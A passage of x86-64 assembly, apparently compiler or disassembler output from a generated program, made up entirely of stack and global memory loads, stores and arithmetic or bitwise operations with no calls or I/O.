lea rax, [rsp + 0x7090]
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x7ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e90], rax
mov rax, qword [rsp + 0x9888]
mov rcx, qword [rsp + 0x9118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa150]
mov dword [rcx], eax
lea rax, [rsp + 0x4020]
mov qword [rsp + 0xa4d0], rax
lea rax, [rsp + 0xee0]
mov qword [0x14017ac18], rax
mov rax, qword [rsp + 0x7c38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x183]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe80]
mov word [rsp + 0x12a0], ax
movzx eax, word [rsp + 0xf38]
movzx ecx, word [rsp + 0xec0]
and eax, ecx
mov rcx, qword [rsp + 0x7670]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1da]
movzx ecx, byte [rsp + 0x123]
sub eax, ecx
mov byte [rsp + 0x121], al
mov eax, dword [rsp + 0x3c10]
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x8350]
mov rcx, qword [rsp + 0x8538]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
lea rax, [rsp + 0x9ae0]
mov qword [rsp + 0xa4d8], rax
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x3d20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3db0], eax
lea rax, [rsp + 0x1080]
mov qword [0x14017ac20], rax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d5], al
mov rax, qword [0x14017a980]
movzx eax, byte [rax]
mov byte [rsp + 0x1ec], al
mov rax, qword [rsp + 0x8ff0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1174]
or eax, ecx
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0xa4e0], rax
mov rax, qword [rsp + 0x6ed8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ee8]
shl eax, cl
mov rcx, qword [rsp + 0x9db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x99b8]
idiv dword [rcx]
mov dword [rsp + 0x41d4], eax
lea rax, [rsp + 0x8378]
mov qword [rsp + 0xa4e8], rax
mov rax, qword [rsp + 0x8e78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9b78]
sar rax, cl
mov qword [rsp + 0x8d28], rax
movzx eax, word [rsp + 0xe28]
mov rcx, qword [rsp + 0x8528]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401790a8], ax
lea rax, [rsp + 0x1b9]
mov qword [rsp + 0xa4f0], rax
mov rax, qword [0x14017a868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9d], al
lea rax, [rsp + 0xf24]
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa010]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x77c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7dc0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bd0]
mov eax, dword [rax]
mov dword [rsp + 0x4284], eax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa448]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7480]
mov qword [rcx], rax
mov eax, dword [0x140179004]
mov dword [rsp + 0x4288], eax
lea rax, [rsp + 0x14e]
mov qword [0x14017ac28], rax
mov rax, qword [rsp + 0x95b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9090]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0x7688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x107]
sub eax, ecx
mov byte [rsp + 0x1a2], al
lea rax, [rsp + 0x175]
mov qword [rsp + 0xa500], rax
movsx eax, word [rsp + 0x1160]
movsx ecx, word [rsp + 0x1100]
and eax, ecx
mov word [rsp + 0x1124], ax
lea rax, [rsp + 0xa198]
mov qword [rsp + 0xa508], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x7198]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f30], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x72f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dac], eax
mov rax, qword [rsp + 0x8478]
mov eax, dword [rax]
mov dword [rsp + 0x428c], eax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8548]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179018], ax
mov rax, qword [rsp + 0x9e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
sar eax, cl
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0x7d20]
movzx eax, word [rax]
mov word [rsp + 0x12a4], ax
mov rax, qword [rsp + 0xa090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x181]
mov rcx, qword [rsp + 0x7ed0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x8008]
mov qword [rsp + 0xa510], rax
mov rax, qword [rsp + 0x7dc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7a88]
shl rax, cl
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3fb8]
mov dword [rsp + 0x4290], eax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [0x140179004]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df0], eax
mov rax, qword [rsp + 0x7f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [0x14017900a], al
mov rax, qword [rsp + 0x7770]
movzx eax, word [rax]
mov word [rsp + 0x12a8], ax
movsx eax, byte [rsp + 0x1e1]
movsx ecx, byte [rsp + 0x142]
add eax, ecx
mov byte [rsp + 0xf3], al
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0x1110]
add eax, ecx
mov rcx, qword [rsp + 0x9e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov word [rsp + 0x12ac], ax
mov rax, qword [rsp + 0x99e8]
mov rcx, qword [rsp + 0x9bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8948]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3af0]
mov dword [rsp + 0x4294], eax
mov rax, qword [rsp + 0x8648]
mov rcx, qword [rsp + 0x8088]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8240], rax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9998]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b90], rax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x7360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
and eax, ecx
mov word [0x14017917c], ax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d0]
add eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov byte [rcx], al
lea rax, [rsp + 0x1194]
mov qword [rsp + 0xa518], rax
mov rax, qword [rsp + 0x94b8]
movzx eax, byte [rax]
movzx ecx, byte [0x14017902e]
xor eax, ecx
mov rcx, qword [rsp + 0x6fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9788]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7d10]
mov qword [rsp + 0xa520], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x3e08]
shl eax, cl
mov rcx, qword [rsp + 0x9d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa068]
mov rax, qword [rax]
mov qword [rsp + 0xa528], rax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8028]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9030]
mov byte [rcx], al
lea rax, [rsp + 0xdec]
mov qword [0x14017ac30], rax
movzx eax, byte [0x14017900a]
mov byte [rsp + 0x1ee], al
movsx eax, byte [rsp + 0xa6]
mov rcx, qword [rsp + 0xa090]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x46], al
movsx eax, word [rsp + 0x11e0]
movsx ecx, word [0x14017a558]
and eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0x412c]
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0x78c0]
mov rcx, qword [rsp + 0x7810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d78], eax
mov rax, qword [rsp + 0x7988]
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x9d58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov rcx, qword [rsp + 0x7b70]
mov byte [rcx], al
movsx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x8588]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a8b8], ax
mov rax, qword [rsp + 0x82f8]
movzx eax, word [rax]
mov word [rsp + 0x12b0], ax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x190], al
movzx eax, word [rsp + 0xc30]
mov word [rsp + 0x12b4], ax
mov rax, qword [rsp + 0x9358]
mov rcx, qword [rsp + 0x8178]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0x9658]
mov rcx, qword [rsp + 0x9720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x74d0], rax
lea rax, [rsp + 0x4024]
mov qword [rsp + 0xa540], rax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x7e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95d8]
movzx eax, word [rax]
mov word [rsp + 0x12b8], ax
lea rax, [rsp + 0x4b]
mov qword [0x14017ac38], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x114]
sar eax, cl
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x7228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x81a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xdf8], ax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov word [rsp + 0x12bc], ax
movzx eax, byte [0x14017906e]
mov rcx, qword [rsp + 0x7948]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x81c0]
mov byte [rcx], al
lea rax, [rsp + 0x3bf4]
mov qword [rsp + 0xa548], rax
mov eax, dword [rsp + 0x3f24]
mov ecx, dword [rsp + 0x40f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fc0]
mov dword [rcx], eax
lea rax, [rsp + 0x8088]
mov qword [rsp + 0xa550], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x8f48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x91d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e40]
movsx eax, byte [rax]
mov rcx, qword [0x14017a990]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4fe], al
mov rax, qword [rsp + 0x8758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11e8]
sub eax, ecx
mov word [rsp + 0xcbc], ax
movzx eax, word [rsp + 0x119c]
mov word [rsp + 0x12c0], ax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [0x1401790a6]
and eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x7528]
movzx eax, word [rax]
mov word [rsp + 0x12c4], ax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3ff4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4130]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d74], eax
lea rax, [rsp + 0x90e8]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0x7440]
mov rcx, qword [rsp + 0x7a58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f40], rax
movsx eax, byte [rsp + 0x163]
movsx ecx, byte [0x14017a63b]
add eax, ecx
mov byte [0x14017a59a], al
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0x9cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9348]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7c20]
mov word [rcx], ax
movsx eax, byte [0x14017a4e7]
mov rcx, qword [rsp + 0x95f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
movzx eax, word [rsp + 0xd54]
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0x9550]
mov rcx, qword [rsp + 0x72c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91d0], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4298], eax
mov rax, qword [rsp + 0x7188]
mov ecx, dword [rsp + 0x3efc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8760]
mov dword [rcx], eax
lea rax, [rsp + 0x9370]
mov qword [rsp + 0xa560], rax
lea rax, [rsp + 0x1044]
mov qword [0x14017ac40], rax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x9918]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x9e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8150]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc64], ax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x1f0], al
mov rax, qword [0x14017a840]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9910]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd94], ax
lea rax, [rsp + 0x3cd4]
mov qword [rsp + 0xa568], rax
mov rax, qword [rsp + 0x98f0]
mov rcx, qword [rsp + 0x7c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7ff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8700]
mov rcx, qword [rsp + 0x6d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9600]
mov dword [rcx], eax
lea rax, [rsp + 0x6e20]
mov qword [rsp + 0xa570], rax
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0x8910]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790b7], al
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [rsp + 0xfc], al
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0xa578], rax
movzx eax, word [rsp + 0xd84]
movzx ecx, word [rsp + 0xf70]
and eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x8b70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0x11a], al
mov eax, dword [rsp + 0x3b68]
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x7c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8220], rax
mov eax, dword [rsp + 0x3c94]
mov dword [rsp + 0x42a0], eax
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x8bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x8660]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8930]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a4e4], ax
mov rax, qword [rsp + 0x8170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd74]
sub eax, ecx
mov word [rsp + 0x108c], ax
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0xa580], rax
movsx eax, byte [0x14017a63b]
movsx ecx, byte [rsp + 0x44]
shl eax, cl
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0x12c0]
mov word [rsp + 0x12cc], ax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3cf4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c70]
mov dword [rcx], eax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xa588], rax
mov rax, qword [rsp + 0x81b0]
movzx ecx, al
mov rax, qword [rsp + 0x7338]
sar rax, cl
mov qword [rsp + 0xa298], rax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x8bc8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8218]
mov qword [rcx], rax
movzx eax, byte [0x14017908b]
mov byte [0x14017a69b], al
lea rax, [rsp + 0x1100]
mov qword [rsp + 0xa590], rax
movzx eax, byte [rsp + 0x19e]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x94a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e28]
movzx eax, word [rax]
mov word [rsp + 0x12d0], ax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0x13f], al
mov eax, dword [rsp + 0x3c18]
mov ecx, dword [rsp + 0x3cec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [rsp + 0x80c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e40], rax
lea rax, [rsp + 0x3cf4]
mov qword [rsp + 0xa5a0], rax
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x9540]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a710]
mov word [rcx], ax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x9b10]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x74d8]
mov byte [rcx], al
movzx eax, word [rsp + 0xdfc]
movzx ecx, word [rsp + 0xef0]
sub eax, ecx
mov word [rsp + 0x1174], ax
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf4]
add eax, ecx
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x3b64]
mov dword [rsp + 0x42a4], eax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0x7168]
mov rcx, qword [rsp + 0xa168]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8870]
mov qword [rcx], rax
mov rax, qword [rsp + 0x82c0]
mov rax, qword [rax]
mov qword [rsp + 0xa5a8], rax
movzx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x8190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f78]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179050], ax
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0x1f2], al
movzx eax, word [rsp + 0x11c0]
mov rcx, qword [rsp + 0x7a60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f10]
movzx eax, byte [rax]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x8928]
mov rcx, qword [rsp + 0x84f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0xa168]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x9958]
mov eax, dword [rax]
mov dword [rsp + 0x42a8], eax
mov rax, qword [rsp + 0x85f8]
mov rcx, qword [rsp + 0x8608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov word [rsp + 0x12d4], ax
lea rax, [rsp + 0xa0]
mov qword [0x14017ac48], rax
movzx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0x75f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc3]
add eax, ecx
mov byte [rsp + 0x162], al
lea rax, [rsp + 0xe9c]
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c00], rax
mov rax, qword [rsp + 0x7140]
mov rax, qword [rax]
mov qword [rsp + 0xa5b8], rax
mov rax, qword [rsp + 0x8368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0x93d8]
mov rcx, qword [rsp + 0x8a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4194], eax
lea rax, [0x14017908c]
mov qword [rsp + 0xa5c0], rax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0xd5]
sub eax, ecx
mov byte [0x1401790ba], al
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov byte [rcx], al
movzx eax, word [0x140179118]
mov word [rsp + 0x12d8], ax
movsx eax, byte [rsp + 0x118]
movsx ecx, byte [rsp + 0x1b1]
add eax, ecx
mov byte [rsp + 0x13e], al
lea rax, [rsp + 0x41f8]
mov qword [rsp + 0xa5c8], rax
mov eax, dword [rsp + 0x40c8]
mov rcx, qword [rsp + 0x8a00]
mov qword [rsp + 0xa5d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4138], eax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x6aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7fa0]
mov qword [rsp + 0xa5d8], rax
movsx eax, word [0x1401790dc]
mov rcx, qword [rsp + 0x9498]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7568]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
sar eax, cl
mov word [0x14017a890], ax
movzx eax, word [rsp + 0x1184]
mov word [rsp + 0x12dc], ax
mov rax, qword [0x14017a508]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ae0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x9800]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
add eax, ecx
mov rcx, qword [rsp + 0x72f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1110]
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0x78f8]
mov rcx, qword [rsp + 0x7a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e9c], eax
mov rax, qword [rsp + 0x7ce8]
mov qword [rsp + 0xa5e0], rax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9788]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa550]
mov rcx, qword [rsp + 0x9ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0xa368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179046], al
mov rax, qword [rsp + 0x6c08]
movzx eax, word [rax]
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0x9f00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa210]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x1080]
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0x9598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
and eax, ecx
mov rcx, qword [rsp + 0x8780]
mov word [rcx], ax
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x88d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa338], rax
lea rax, [rsp + 0x7238]
mov qword [rsp + 0xa5e8], rax
mov rax, qword [rsp + 0x84a8]
mov ecx, dword [rsp + 0x3e30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f28], eax
mov rax, qword [rsp + 0x8578]
mov eax, dword [rax]
mov dword [rsp + 0x42ac], eax
lea rax, [rsp + 0x17e]
mov qword [0x14017ac50], rax
movsx eax, word [rsp + 0x11d8]
mov rcx, qword [rsp + 0x7fc0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x79f8]
mov word [rcx], ax
movzx eax, word [0x14017a6b8]
mov word [rsp + 0x12ec], ax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x7470]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18f], al
movsx eax, byte [rsp + 0x79]
mov rcx, qword [0x14017a6d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ce0]
mov rax, qword [rax]
mov qword [rsp + 0xa5f0], rax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x3ecc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e88], eax
lea rax, [rsp + 0x7e98]
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0x73d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4250]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f48], eax
lea rax, [rsp + 0x13a]
mov qword [0x14017ac58], rax
movzx eax, byte [rsp + 0x102]
movzx ecx, byte [rsp + 0xd5]
sub eax, ecx
mov byte [rsp + 0x78], al
lea rax, [0x14017a4d4]
mov qword [rsp + 0xa600], rax
mov rax, qword [rsp + 0x95d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7960]
mov word [rcx], ax
lea rax, [rsp + 0x1174]
mov qword [rsp + 0xa608], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0xa420]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78a8]
mov qword [rsp + 0xa610], rax
mov rax, qword [rsp + 0xa050]
mov ecx, dword [rsp + 0x3cd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cc0], eax
mov rax, qword [rsp + 0x8a38]
movsx eax, word [rax]
